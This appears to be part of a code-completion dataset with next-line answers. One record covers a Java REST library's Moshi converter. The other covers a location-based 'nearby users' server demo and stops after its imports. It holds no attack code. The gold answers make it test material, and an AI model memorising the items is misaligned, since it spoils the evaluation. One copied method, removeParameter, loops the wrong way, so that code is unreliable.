repo_name
stringlengths
7
104
file_path
stringlengths
11
238
context
list
import_statement
stringlengths
103
6.85k
code
stringlengths
60
38.4k
next_line
stringlengths
10
824
gold_snippet_index
int32
0
8
mariotaku/RestFu
moshi/src/main/java/org/mariotaku/restfu/moshi/MoshiConverterFactory.java
[ "public interface RestConverter<F, T, E extends Exception> {\n\n @NotNull\n T convert(@NotNull F from) throws ConvertException, IOException, E;\n\n interface Factory<E extends Exception> {\n\n @NotNull\n RestConverter<HttpResponse, ?, E> forResponse(@NotNull Type toType) throws ConvertException;\n\n @NotNull\n RestConverter<?, Body, E> forRequest(@NotNull Type fromType) throws ConvertException;\n }\n\n abstract class SimpleFactory<E extends Exception> implements Factory<E> {\n @NotNull\n @Override\n public RestConverter<?, Body, E> forRequest(@NotNull Type fromType) throws ConvertException {\n if (!SimpleBody.supports(fromType)) throw new UnsupportedTypeException(fromType);\n return new SimpleBodyConverter<>(fromType);\n }\n\n public static class SimpleBodyConverter<E extends Exception> implements RestConverter<Object, Body, E> {\n private final Type fromType;\n\n public SimpleBodyConverter(Type fromType) {\n this.fromType = fromType;\n }\n\n @NotNull\n @Override\n public Body convert(@NotNull Object from) throws ConvertException, IOException {\n return SimpleBody.wrap(from);\n }\n }\n }\n\n class ConvertException extends Exception {\n public ConvertException() {\n super();\n }\n\n public ConvertException(String message) {\n super(message);\n }\n\n public ConvertException(String message, Throwable cause) {\n super(message, cause);\n }\n\n public ConvertException(Throwable cause) {\n super(cause);\n }\n\n protected ConvertException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) {\n super(message, cause, enableSuppression, writableStackTrace);\n }\n }\n\n class UnsupportedTypeException extends RuntimeException {\n public UnsupportedTypeException(Type type) {\n super(type.toString());\n }\n }\n}", "public final class ContentType {\n\n public static final ContentType OCTET_STREAM = ContentType.parse(\"application/octet-stream\");\n\n private final String contentType;\n private final List<Pair<String, String>> parameters;\n\n public ContentType(String contentType, Charset charset) {\n this(contentType, new ArrayList<Pair<String, String>>());\n addParameter(\"charset\", charset.name());\n }\n\n public ContentType(String contentType) {\n this(contentType, new ArrayList<Pair<String, String>>());\n }\n\n public ContentType(String contentType, List<Pair<String, String>> parameters) {\n this.contentType = contentType;\n this.parameters = parameters;\n }\n\n public boolean addParameter(String name, String value) {\n return parameters.add(Pair.create(name, value));\n }\n\n public ContentType parameter(String name, String value) {\n addParameter(name, value);\n return this;\n }\n\n public String parameter(String name) {\n for (Pair<String, String> parameter : parameters) {\n if (name.equalsIgnoreCase(parameter.first)) return parameter.second;\n }\n return null;\n }\n\n @Override\n public String toString() {\n return \"ContentType{\" +\n \"contentType='\" + contentType + '\\'' +\n \", parameters=\" + parameters +\n '}';\n }\n\n public Charset getCharset() {\n if (parameters == null) return null;\n final String charset = parameter(\"charset\");\n if (charset != null) return Charset.forName(charset);\n return null;\n }\n\n public String getContentType() {\n return contentType;\n }\n\n public String toHeader() {\n final StringBuilder sb = new StringBuilder(contentType);\n for (Pair<String, String> parameter : parameters) {\n sb.append(\"; \");\n sb.append(parameter.first);\n sb.append(\"=\");\n sb.append(parameter.second);\n }\n return sb.toString();\n }\n\n public static ContentType parse(String string) {\n final List<Pair<String, String>> parameters = new ArrayList<>();\n int previousIndex = string.indexOf(';', 0);\n String contentType;\n if (previousIndex == -1) {\n contentType = string;\n } else {\n contentType = string.substring(0, previousIndex);\n }\n while (previousIndex != -1) {\n final int idx = string.indexOf(';', previousIndex + 1);\n final String[] segs;\n if (idx < 0) {\n segs = RestFuUtils.split(string.substring(previousIndex + 1, string.length()).trim(), \"=\");\n } else {\n segs = RestFuUtils.split(string.substring(previousIndex + 1, idx).trim(), \"=\");\n }\n if (segs.length == 2) {\n parameters.add(Pair.create(segs[0], segs[1]));\n }\n if (idx < 0) {\n break;\n }\n previousIndex = idx;\n }\n return new ContentType(contentType, parameters);\n }\n\n public ContentType charset(Charset charset) {\n removeParameter(\"charset\");\n return parameter(\"charset\", charset.name());\n }\n\n private void removeParameter(String name) {\n for (int i = parameters.size() - 1; i >= 0; i++) {\n if (name.equals(parameters.get(i).first)) {\n parameters.remove(i);\n }\n }\n }\n}", "public abstract class HttpResponse implements Closeable {\n public abstract int getStatus();\n\n public abstract MultiValueMap<String> getHeaders();\n\n public abstract Body getBody();\n\n public String getHeader(String name) {\n if (name == null) throw new NullPointerException();\n return getHeaders().getFirst(name);\n }\n\n public List<String> getHeaders(String name) {\n if (name == null) throw new NullPointerException();\n return getHeaders().get(name);\n }\n\n /**\n * Returns true if the code is in [200..300), which means the request was\n * successfully received, understood, and accepted.\n *\n * @return True if HTTP response is successful response\n */\n public boolean isSuccessful() {\n final int status = getStatus();\n return status >= 200 && status < 300;\n }\n\n @Override\n public String toString() {\n return \"HTTP \" + getStatus();\n }\n}", "public interface Body extends Closeable {\n ContentType contentType();\n\n String contentEncoding();\n\n long length() throws IOException;\n\n long writeTo(final OutputStream os) throws IOException;\n\n InputStream stream() throws IOException;\n\n void close() throws IOException;\n\n}", "public class SimpleBody implements Body {\n\n private final ContentType contentType;\n private final long contentLength;\n private final InputStream stream;\n private final String contentEncoding;\n\n public SimpleBody(ContentType contentType, String contentEncoding, long contentLength, InputStream stream) throws IOException {\n this.contentType = contentType;\n this.contentEncoding = contentEncoding;\n this.contentLength = contentLength;\n if (\"gzip\".equals(contentEncoding)) {\n this.stream = new StreamingGZIPInputStream(stream);\n } else {\n this.stream = stream;\n }\n }\n\n @Override\n public ContentType contentType() {\n return contentType;\n }\n\n @Override\n public String contentEncoding() {\n return contentEncoding;\n }\n\n @Override\n public long length() {\n return contentLength;\n }\n\n @Override\n public String toString() {\n return \"BaseTypedData{\" +\n \"contentType=\" + contentType +\n \", contentLength=\" + contentLength +\n \", stream=\" + stream +\n \", contentEncoding='\" + contentEncoding + '\\'' +\n '}';\n }\n\n @Override\n public long writeTo(OutputStream os) throws IOException {\n final LengthLimitCopyListener listener = new LengthLimitCopyListener(contentLength);\n return StreamUtils.copy(stream(), os, listener, listener);\n }\n\n\n @Override\n public InputStream stream() {\n return stream;\n }\n\n @Override\n public void close() throws IOException {\n stream.close();\n }\n\n public static Body wrap(Object value) {\n if (value == null) return null;\n if (value instanceof Body) {\n return (Body) value;\n } else if (value instanceof File) {\n return new FileBody((File) value);\n } else if (value instanceof String) {\n return new StringBody((String) value, Charset.defaultCharset());\n } else if (value instanceof Number) {\n return new StringBody(value.toString(), Charset.defaultCharset());\n } else if (value instanceof Character) {\n return new StringBody(value.toString(), Charset.defaultCharset());\n } else if (value instanceof Boolean) {\n return new StringBody(value.toString(), Charset.defaultCharset());\n }\n throw new UnsupportedOperationException(value.getClass().toString());\n }\n\n public static boolean supports(Type value) {\n if (value instanceof Class) {\n return supportsClass((Class<?>) value);\n } else if (value instanceof ParameterizedType) {\n Type rawType = ((ParameterizedType) value).getRawType();\n if (rawType instanceof Class) {\n return supportsClass((Class<?>) rawType);\n }\n }\n return false;\n }\n\n private static boolean supportsClass(Class<?> value) {\n if (Body.class.isAssignableFrom(value)) {\n return true;\n } else if (value == File.class) {\n return true;\n } else if (value == String.class) {\n return true;\n } else if (Number.class.isAssignableFrom(value)) {\n return true;\n } else if (value == Character.class) {\n return true;\n } else if (value == Boolean.class) {\n return true;\n }\n return false;\n }\n\n public static Reader reader(Body data) throws IOException {\n final ContentType contentType = data.contentType();\n final Charset charset = contentType != null ? contentType.getCharset() : null;\n return new InputStreamReader(data.stream(), charset != null ? charset : Charset.defaultCharset());\n }\n}", "public final class StringBody implements Body {\n\n private final ContentType contentType;\n private final String value;\n private ByteArrayInputStream is;\n\n public StringBody(String string, Charset charset) {\n this(string, ContentType.parse(\"text/plain\").charset(charset));\n }\n\n public StringBody(String value, final ContentType contentType) {\n this.value = value;\n this.contentType = contentType;\n }\n\n\n @Override\n public ContentType contentType() {\n return contentType;\n }\n\n @Override\n public String contentEncoding() {\n return null;\n }\n\n @Override\n public long length() throws IOException {\n return getBytes().length;\n }\n\n\n public String value() {\n return value;\n }\n\n private byte[] getBytes() {\n if (contentType != null) {\n final Charset charset = contentType.getCharset();\n if (charset != null) {\n return value.getBytes(charset);\n }\n }\n return value.getBytes();\n }\n\n @Override\n public long writeTo(OutputStream os) throws IOException {\n os.write(getBytes());\n return getBytes().length;\n }\n\n\n @Override\n public InputStream stream() throws IOException {\n if (is != null) return is;\n return is = new ByteArrayInputStream(getBytes());\n }\n\n @Override\n public void close() throws IOException {\n RestFuUtils.closeSilently(is);\n }\n}" ]
import com.squareup.moshi.JsonAdapter; import com.squareup.moshi.Moshi; import org.jetbrains.annotations.NotNull; import org.mariotaku.restfu.RestConverter; import org.mariotaku.restfu.http.ContentType; import org.mariotaku.restfu.http.HttpResponse; import org.mariotaku.restfu.http.mime.Body; import org.mariotaku.restfu.http.mime.SimpleBody; import org.mariotaku.restfu.http.mime.StringBody; import java.io.IOException; import java.lang.reflect.Type; import okio.Okio;
package org.mariotaku.restfu.moshi; /** * Created by mariotaku on 2019/5/8. */ public class MoshiConverterFactory<E extends Exception> extends RestConverter.SimpleFactory<E> { private final Moshi moshi; public MoshiConverterFactory(Moshi moshi) { this.moshi = moshi; } @NotNull @Override public RestConverter<HttpResponse, ?, E> forResponse(@NotNull Type type) throws RestConverter.ConvertException { return new JsonResponseConverter<>(this, type); } @NotNull @Override public RestConverter<?, Body, E> forRequest(@NotNull Type type) throws RestConverter.ConvertException { if (SimpleBody.supports(type)) { return new SimpleBodyConverter<>(type); } return new JsonRequestConverter<>(this, type); } protected <T> JsonAdapter<T> adapterFor(@NotNull Type type) { return moshi.adapter(type); } protected <T> JsonAdapter<T> adapterFor(@NotNull Class<T> type) { return moshi.adapter(type); } protected void processParsedObject(@NotNull Object parsed, @NotNull HttpResponse httpResponse) { } @NotNull private Object parseOrThrow(@NotNull HttpResponse response, @NotNull Type type) throws IOException, RestConverter.ConvertException { try { final Object parsed = adapterFor(type).fromJson(Okio.buffer(Okio.source(response.getBody().stream()))); if (parsed == null) { throw new IOException("Empty data"); } return parsed; } catch (IOException e) { throw new RestConverter.ConvertException("Malformed JSON Data", e); } } private static class JsonResponseConverter<E extends Exception> implements RestConverter<HttpResponse, Object, E> { private final MoshiConverterFactory<E> factory; private final Type type; JsonResponseConverter(MoshiConverterFactory<E> factory, Type type) { this.factory = factory; this.type = type; } @NotNull @Override public Object convert(@NotNull HttpResponse httpResponse) throws IOException, ConvertException, E { final Object object = factory.parseOrThrow(httpResponse, type); factory.processParsedObject(object, httpResponse); return object; } } private static class JsonRequestConverter<E extends Exception> implements RestConverter<Object, Body, E> { private final MoshiConverterFactory<E> factory; private final Type type; JsonRequestConverter(MoshiConverterFactory<E> factory, Type type) { this.factory = factory; this.type = type; } @NotNull @Override public Body convert(@NotNull Object request) { final String json = factory.adapterFor(type).toJson(request);
return new StringBody(json, ContentType.parse("application/json"));
5
andieguo/nearbydemo
NearbyServerDemo/src/com/andieguo/nearby/service/Service.java
[ "public class GPS {\n\n\tprivate int id;\n\tprivate UserInfo user;//一对一的关系\n\tprivate String longitude;\n\tprivate String latitude;\n\tprivate Date time;\n\tprivate String geohash;\n\t\n\tpublic GPS() {\n\t\tsuper();\n\t}\n\tpublic GPS(UserInfo user, String longitude, String latitude, Date time) {\n\t\tsuper();\n\t\tthis.user = user;\n\t\tthis.longitude = longitude;\n\t\tthis.latitude = latitude;\n\t\tthis.time = time;\n\t}\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(int id) {\n\t\tthis.id = id;\n\t}\n\tpublic UserInfo getUser() {\n\t\treturn user;\n\t}\n\tpublic void setUser(UserInfo user) {\n\t\tthis.user = user;\n\t}\n\tpublic String getLongitude() {\n\t\treturn longitude;\n\t}\n\tpublic void setLongitude(String longitude) {\n\t\tthis.longitude = longitude;\n\t}\n\tpublic String getLatitude() {\n\t\treturn latitude;\n\t}\n\tpublic void setLatitude(String latitude) {\n\t\tthis.latitude = latitude;\n\t}\n\tpublic Date getTime() {\n\t\treturn time;\n\t}\n\tpublic void setTime(Date time) {\n\t\tthis.time = time;\n\t}\n\tpublic String getGeohash() {\n\t\treturn geohash;\n\t}\n\tpublic void setGeohash(String geohash) {\n\t\tthis.geohash = geohash;\n\t}\n\t\n\t\n}", "public class UserInfo {\n\n\tprivate String id;\n\tprivate String name;//姓名/昵称\n\tprivate String picUrl;//头像 url\n\tprivate String sex;//性别\n\tprivate String describe;//签名\n\n\tpublic UserInfo() {\n\t\tsuper();\n\t}\n\n\tpublic UserInfo(String id) {\n\t\tsuper();\n\t\tthis.id = id;\n\t}\n\n\tpublic String getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(String id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getPicUrl() {\n\t\treturn picUrl;\n\t}\n\n\tpublic void setPicUrl(String picUrl) {\n\t\tthis.picUrl = picUrl;\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic String getSex() {\n\t\treturn sex;\n\t}\n\n\tpublic void setSex(String sex) {\n\t\tthis.sex = sex;\n\t}\n\n\tpublic String getDescribe() {\n\t\treturn describe;\n\t}\n\n\tpublic void setDescribe(String describe) {\n\t\tthis.describe = describe;\n\t}\n\n}", "public class GpsDao {\n\n\t/**\n\t * 使用GeoHash区域查询,缩小附近的人的范围\n\t * @param user_id\n\t * @return\n\t * @throws SQLException\n\t */\n\tpublic List<NearbyInfo> findGPSListByGeoHash(String user_id) throws SQLException{\n\t\tGPS gps = findGPS(user_id);\n\t\tString geohash = gps.getGeohash();\n\t\tString prefix = \"\";\n\t\tif(geohash.length() > 2){\n\t\t\tprefix = geohash.substring(0,geohash.length()-3);\n\t\t}\n\t\tConnection conn = null;\n\t\tPreparedStatement ps = null;\n\t\tResultSet rs = null;\n\t\tList<NearbyInfo> result = null;\n\t\ttry {\n\t\t\tconn = DBUtil.getDBConn();//使用级联查询(暂时)\n\t\t\tString sql = \"SELECT g.*,u.* FROM gps g INNER JOIN user_info u ON g.user_id=u.id where geohash like ?\";\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\tps.setString(1, prefix+\"%\");\n\t\t\trs = ps.executeQuery();\n\n\t\t\tresult = new ArrayList<NearbyInfo>();\n\t\t\tNearbyInfo info;\n\t\t\twhile (rs.next()) {\n\n\t\t\t\tinfo = new NearbyInfo();\n\t\t\t\tinfo.setDescribe(rs.getString(\"personal_note\"));\n\t\t\t\tinfo.setLatitude(rs.getString(\"latitude\"));\n\t\t\t\tinfo.setLongitude(rs.getString(\"longitude\"));\n\t\t\t\tinfo.setName(rs.getString(\"name\"));\n\t\t\t\tinfo.setPicUrl(rs.getString(\"pic_url\"));\n\t\t\t\tinfo.setUser_id(rs.getString(\"user_id\"));\n\t\t\t\tint sex = rs.getInt(\"sex\");\n\t\t\t\tif (sex == 0) {\n\t\t\t\t\tinfo.setSex(\"女\");\n\t\t\t\t} else {\n\t\t\t\t\tinfo.setSex(\"男\");\n\t\t\t\t}\n\t\t\t\tresult.add(info);\n\t\t\t}\n\t\t} finally {\n\t\t\tDBUtil.closeDB(rs, ps, conn);\n\t\t}\n\t\treturn result;\n\t}\n\t/**\n\t * 级联查询,遍历所有的用户\n\t * @return\n\t * @throws SQLException\n\t */\n\tpublic List<NearbyInfo> findGPSList() throws SQLException {\n\t\tConnection conn = null;\n\t\tPreparedStatement ps = null;\n\t\tResultSet rs = null;\n\t\tList<NearbyInfo> result = null;\n\t\ttry {\n\t\t\tconn = DBUtil.getDBConn();\n\t\t\tString sql = \"SELECT g.*,u.* FROM gps g INNER JOIN user_info u ON g.user_id=u.id \";\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\trs = ps.executeQuery();\n\n\t\t\tresult = new ArrayList<NearbyInfo>();\n\t\t\tNearbyInfo info;\n\t\t\twhile (rs.next()) {\n\t\t\t\tinfo = new NearbyInfo();\n\t\t\t\tinfo.setDescribe(rs.getString(\"personal_note\"));\n\t\t\t\tinfo.setLatitude(rs.getString(\"latitude\"));\n\t\t\t\tinfo.setLongitude(rs.getString(\"longitude\"));\n\t\t\t\tinfo.setName(rs.getString(\"name\"));\n\t\t\t\tinfo.setPicUrl(rs.getString(\"pic_url\"));\n\t\t\t\tinfo.setUser_id(rs.getString(\"user_id\"));\n\t\t\t\tint sex = rs.getInt(\"sex\");\n\t\t\t\tif (sex == 0) {\n\t\t\t\t\tinfo.setSex(\"女\");\n\t\t\t\t} else {\n\t\t\t\t\tinfo.setSex(\"男\");\n\t\t\t\t}\n\t\t\t\tresult.add(info);\n\t\t\t}\n\n\t\t} finally {\n\t\t\tDBUtil.closeDB(rs, ps, conn);\n\t\t}\n\t\treturn result;\n\t}\n\n\tpublic GPS findGPS(String user_id) throws SQLException {\n\t\tConnection conn = null;\n\t\tPreparedStatement ps = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tconn = DBUtil.getDBConn();\n\t\t\tString sql = \"SELECT * FROM gps where user_id = ? \";\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\tps.setString(1, user_id);\n\t\t\trs = ps.executeQuery();\n\n\t\t\tif (rs.next()) {\n\t\t\t\tGPS gpsinfo = new GPS();\n\t\t\t\tgpsinfo.setUser(new UserInfo(user_id));\n\t\t\t\tgpsinfo.setLatitude(rs.getString(\"latitude\"));\n\t\t\t\tgpsinfo.setLongitude(rs.getString(\"longitude\"));\n\t\t\t\tgpsinfo.setTime(rs.getDate(\"time\"));\n\t\t\t\tgpsinfo.setGeohash(rs.getString(\"geohash\"));\n\t\t\t\treturn gpsinfo;\n\t\t\t}\n\n\t\t} finally {\n\t\t\tDBUtil.closeDB(rs, ps, conn);\n\t\t}\n\t\treturn null;\n\t}\n\t/**\n\t * 已经实现了对longitude latitude geohash 三者的同步更新\n\t * @param gps\n\t * @throws SQLException\n\t */\n\tpublic void updateGPS(GPS gps) throws SQLException {\n\t\tConnection conn = null;\n\t\tPreparedStatement ps = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tconn = DBUtil.getDBConn();\n\t\t\tString sql = \"UPDATE gps SET longitude = ?,latitude = ?,geohash = ?,time = ? WHERE user_id = ?\";\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\tps.setString(1, gps.getLongitude());\n\t\t\tps.setString(2, gps.getLatitude());\n\t\t\tps.setString(3, getGeoHash(Double.valueOf(gps.getLatitude()), Double.valueOf(gps.getLongitude()), 8));\n\t\t\tps.setTimestamp(4, new java.sql.Timestamp(gps.getTime().getTime()));\n\t\t\tps.setString(5, gps.getUser().getId());\n\t\t\tps.executeUpdate();\n\t\t} finally {\n\t\t\tDBUtil.closeDB(rs, ps, conn);\n\t\t}\n\t}\n\t/**\n\t * 根据latitude和longitude获取到geohash\n\t * @param latitude\n\t * @param longitude\n\t * @param precision\n\t * @return\n\t */\n\tpublic String getGeoHash(double latitude, double longitude, int precision) {\n\t\tString geohash = \"\";\n\t\tConnection conn = null;\n\t\tResultSet rs = null;\n\t\tCallableStatement cstmt = null;\n\t\tString func = \"select geohash_encode(?, ?,?)\";// 不能加{}\n\t\ttry {\n\t\t\tconn = DBUtil.getDBConn();// 首先要获取连接,即连接到数据库\n\t\t\tcstmt = conn.prepareCall(func);\n\t\t\tcstmt.setDouble(1, latitude);\n\t\t\tcstmt.setDouble(2, longitude);\n\t\t\tcstmt.setInt(3, precision);\n\t\t\tcstmt.execute();\n\t\t\trs = cstmt.getResultSet();\n\t\t\tif (rs.next()) {\n\t\t\t\tgeohash = rs.getString(1);\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}finally {\n\t\t\tDBUtil.closeDB(rs, cstmt, conn);//关闭资源很重要\n\t\t}\n\t\treturn geohash;\n\t}\n\n\t/**\n\t * 保存GPS经纬度的值的同时,还要自动生成geohash;\n\t * @param gps\n\t * @throws SQLException\n\t */\n\tpublic void saveGPS(GPS gps) throws SQLException {\n\t\tConnection conn = null;\n\t\tPreparedStatement ps = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tconn = DBUtil.getDBConn();\n\t\t\tString sql = \"INSERT INTO gps(user_id,longitude,latitude,geohash,time) VALUES(?,?,?,?,?)\";\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\tps.setString(1, gps.getUser().getId());\n\t\t\tps.setString(2, gps.getLongitude());\n\t\t\tps.setString(3, gps.getLatitude());\n\t\t\tps.setString(4, getGeoHash(Double.valueOf(gps.getLatitude()), Double.valueOf(gps.getLongitude()), 8));\n\t\t\tps.setTimestamp(5, new java.sql.Timestamp(gps.getTime().getTime()));\n\t\t\tps.executeUpdate();\n\t\t} finally {\n\t\t\tDBUtil.closeDB(rs, ps, conn);\n\t\t}\n\t}\n}", "public class UserDao {\n\n\tpublic void saveUser(UserInfo user) throws SQLException {\n\t\tConnection conn = null;\n\t\tPreparedStatement ps = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tconn = DBUtil.getDBConn();\n\t\t\tString sql = \"INSERT INTO user_info(id,name,personal_note) VALUES(?,?,?)\";\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\tps.setString(1, user.getId());\n\t\t\tps.setString(2, user.getName());\n\t\t\tps.setString(3, user.getDescribe());\n\n\t\t\tps.executeUpdate();\n\n\t\t} finally {\n\t\t\tDBUtil.closeDB(rs, ps, conn);\n\t\t}\n\t}\n\n\tpublic UserInfo findUser(String id) throws SQLException {\n\t\tConnection conn = null;\n\t\tPreparedStatement ps = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tconn = DBUtil.getDBConn();\n\t\t\tString sql = \"SELECT * FROM user_info where id=? \";\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\tps.setString(1, id);\n\t\t\trs = ps.executeQuery();\n\n\t\t\tif (rs.next()) {\n\n\t\t\t\tUserInfo info = new UserInfo();\n\t\t\t\tinfo.setId(rs.getString(\"id\"));\n\t\t\t\tinfo.setDescribe(rs.getString(\"personal_note\"));\n\t\t\t\tinfo.setName(rs.getString(\"name\"));\n\t\t\t\treturn info;\n\t\t\t}\n\n\t\t} finally {\n\t\t\tDBUtil.closeDB(rs, ps, conn);\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic void updateUser(UserInfo user) throws SQLException {\n\t\tConnection conn = null;\n\t\tPreparedStatement ps = null;\n\t\tResultSet rs = null;\n\t\ttry {\n\t\t\tconn = DBUtil.getDBConn();\n\t\t\tString sql = \"UPDATE user_info SET name=? , personal_note=? WHERE id=?\";\n\t\t\tps = conn.prepareStatement(sql);\n\t\t\tps.setString(1, user.getName());\n\t\t\tps.setString(2, user.getDescribe());\n\t\t\tps.setString(3, user.getId());\n\t\t\tps.executeUpdate();\n\n\t\t} finally {\n\t\t\tDBUtil.closeDB(rs, ps, conn);\n\t\t}\n\t}\n\n}", "public class NearbyInfo {\n\n\tprivate String user_id;\n\tprivate String longitude;\n\tprivate String latitude;\n\t\n\t@Expose\n\tprivate String name;\n\t@Expose\n\t@SerializedName(\"pic_url\")\n\tprivate String picUrl;\n\t@Expose\n\tprivate String sex;\n\t@Expose\n\tprivate String describe;\n\t@Expose\n\tprivate String distance;//距离\n\t\n\t\n\tpublic String getDistance() {\n\t\treturn distance;\n\t}\n\tpublic String getLongitude() {\n\t\treturn longitude;\n\t}\n\tpublic void setLongitude(String longitude) {\n\t\tthis.longitude = longitude;\n\t}\n\tpublic String getLatitude() {\n\t\treturn latitude;\n\t}\n\tpublic void setLatitude(String latitude) {\n\t\tthis.latitude = latitude;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic String getPicUrl() {\n\t\treturn picUrl;\n\t}\n\tpublic void setPicUrl(String picUrl) {\n\t\tthis.picUrl = picUrl;\n\t}\n\tpublic String getSex() {\n\t\treturn sex;\n\t}\n\tpublic void setSex(String sex) {\n\t\tthis.sex = sex;\n\t}\n\tpublic String getDescribe() {\n\t\treturn describe;\n\t}\n\tpublic void setDescribe(String describe) {\n\t\tthis.describe = describe;\n\t}\n\tpublic void setDistance(String distance) {\n\t\tthis.distance = distance;\n\t}\n\tpublic String getUser_id() {\n\t\treturn user_id;\n\t}\n\tpublic void setUser_id(String user_id) {\n\t\tthis.user_id = user_id;\n\t}\n\t@Override\n\tpublic String toString() {\n\t\treturn \"NearbyInfo [user_id=\" + user_id + \", longitude=\" + longitude\n\t\t\t\t+ \", latitude=\" + latitude + \", name=\" + name + \", picUrl=\"\n\t\t\t\t+ picUrl + \", sex=\" + sex + \", describe=\" + describe\n\t\t\t\t+ \", distance=\" + distance + \"]\";\n\t}\n\t\n}", "public class GPSUtil {\n\n\tpublic static void main(String[] args) {\n//\t\tdouble distance = distVincenty(34.80033, 113.6598733, 34.76, 113.65);\n\t\tdouble distance = computeDistance(31.81, 115.42, 34.76, 113.65);\n\t\tdouble distance2 = getDistance(31.81, 115.42, 34.76, 113.65);\n\t\tSystem.out.println(distance);\n\t\tSystem.out.println(distance2);\n\t}\n\n\tpublic static double getDistance(double lat1,double longt1 , double lat2,double longt2\n\t ) {\n\t double PI = 3.14159265358979323; // 圆周率\n\t double R = 6371229; // 地球的半径\n\n\t double x, y, distance;\n\t x = (longt2 - longt1) * PI * R\n\t * Math.cos(((lat1 + lat2) / 2) * PI / 180) / 180;\n\t y = (lat2 - lat1) * PI * R / 180;\n\t distance = Math.hypot(x, y);\n\n\t return distance;\n\t }\n\t\n\tpublic static double computeDistance(double lat1, double lon1,\n\t double lat2, double lon2) {\n\t // Based on http://www.ngs.noaa.gov/PUBS_LIB/inverse.pdf\n\t // using the \"Inverse Formula\" (section 4)\n\n\t int MAXITERS = 20;\n\t // Convert lat/long to radians\n\t lat1 *= Math.PI / 180.0;\n\t lat2 *= Math.PI / 180.0;\n\t lon1 *= Math.PI / 180.0;\n\t lon2 *= Math.PI / 180.0;\n\n\t double a = 6378137.0; // WGS84 major axis\n\t double b = 6356752.3142; // WGS84 semi-major axis\n\t double f = (a - b) / a;\n\t double aSqMinusBSqOverBSq = (a * a - b * b) / (b * b);\n\n\t double L = lon2 - lon1;\n\t double A = 0.0;\n\t double U1 = Math.atan((1.0 - f) * Math.tan(lat1));\n\t double U2 = Math.atan((1.0 - f) * Math.tan(lat2));\n\n\t double cosU1 = Math.cos(U1);\n\t double cosU2 = Math.cos(U2);\n\t double sinU1 = Math.sin(U1);\n\t double sinU2 = Math.sin(U2);\n\t double cosU1cosU2 = cosU1 * cosU2;\n\t double sinU1sinU2 = sinU1 * sinU2;\n\n\t double sigma = 0.0;\n\t double deltaSigma = 0.0;\n\t double cosSqAlpha = 0.0;\n\t double cos2SM = 0.0;\n\t double cosSigma = 0.0;\n\t double sinSigma = 0.0;\n\t double cosLambda = 0.0;\n\t double sinLambda = 0.0;\n\n\t double lambda = L; // initial guess\n\t for (int iter = 0; iter < MAXITERS; iter++) {\n\t double lambdaOrig = lambda;\n\t cosLambda = Math.cos(lambda);\n\t sinLambda = Math.sin(lambda);\n\t double t1 = cosU2 * sinLambda;\n\t double t2 = cosU1 * sinU2 - sinU1 * cosU2 * cosLambda;\n\t double sinSqSigma = t1 * t1 + t2 * t2; // (14)\n\t sinSigma = Math.sqrt(sinSqSigma);\n\t cosSigma = sinU1sinU2 + cosU1cosU2 * cosLambda; // (15)\n\t sigma = Math.atan2(sinSigma, cosSigma); // (16)\n\t double sinAlpha = (sinSigma == 0) ? 0.0 :\n\t cosU1cosU2 * sinLambda / sinSigma; // (17)\n\t cosSqAlpha = 1.0 - sinAlpha * sinAlpha;\n\t cos2SM = (cosSqAlpha == 0) ? 0.0 :\n\t cosSigma - 2.0 * sinU1sinU2 / cosSqAlpha; // (18)\n\n\t double uSquared = cosSqAlpha * aSqMinusBSqOverBSq; // defn\n\t A = 1 + (uSquared / 16384.0) * // (3)\n\t (4096.0 + uSquared *\n\t (-768 + uSquared * (320.0 - 175.0 * uSquared)));\n\t double B = (uSquared / 1024.0) * // (4)\n\t (256.0 + uSquared *\n\t (-128.0 + uSquared * (74.0 - 47.0 * uSquared)));\n\t double C = (f / 16.0) *\n\t cosSqAlpha *\n\t (4.0 + f * (4.0 - 3.0 * cosSqAlpha)); // (10)\n\t double cos2SMSq = cos2SM * cos2SM;\n\t deltaSigma = B * sinSigma * // (6)\n\t (cos2SM + (B / 4.0) *\n\t (cosSigma * (-1.0 + 2.0 * cos2SMSq) -\n\t (B / 6.0) * cos2SM *\n\t (-3.0 + 4.0 * sinSigma * sinSigma) *\n\t (-3.0 + 4.0 * cos2SMSq)));\n\n\t lambda = L +\n\t (1.0 - C) * f * sinAlpha *\n\t (sigma + C * sinSigma *\n\t (cos2SM + C * cosSigma *\n\t (-1.0 + 2.0 * cos2SM * cos2SM))); // (11)\n\n\t double delta = (lambda - lambdaOrig) / lambda;\n\t if (Math.abs(delta) < 1.0e-12) {\n\t break;\n\t }\n\t }\n\n\t return b * A * (sigma - deltaSigma);\n\t }\n}" ]
import java.sql.SQLException; import java.util.ArrayList; import java.util.List; import com.andieguo.nearby.bean.GPS; import com.andieguo.nearby.bean.UserInfo; import com.andieguo.nearby.dao.GpsDao; import com.andieguo.nearby.dao.UserDao; import com.andieguo.nearby.message.NearbyInfo; import com.andieguo.nearby.util.GPSUtil;
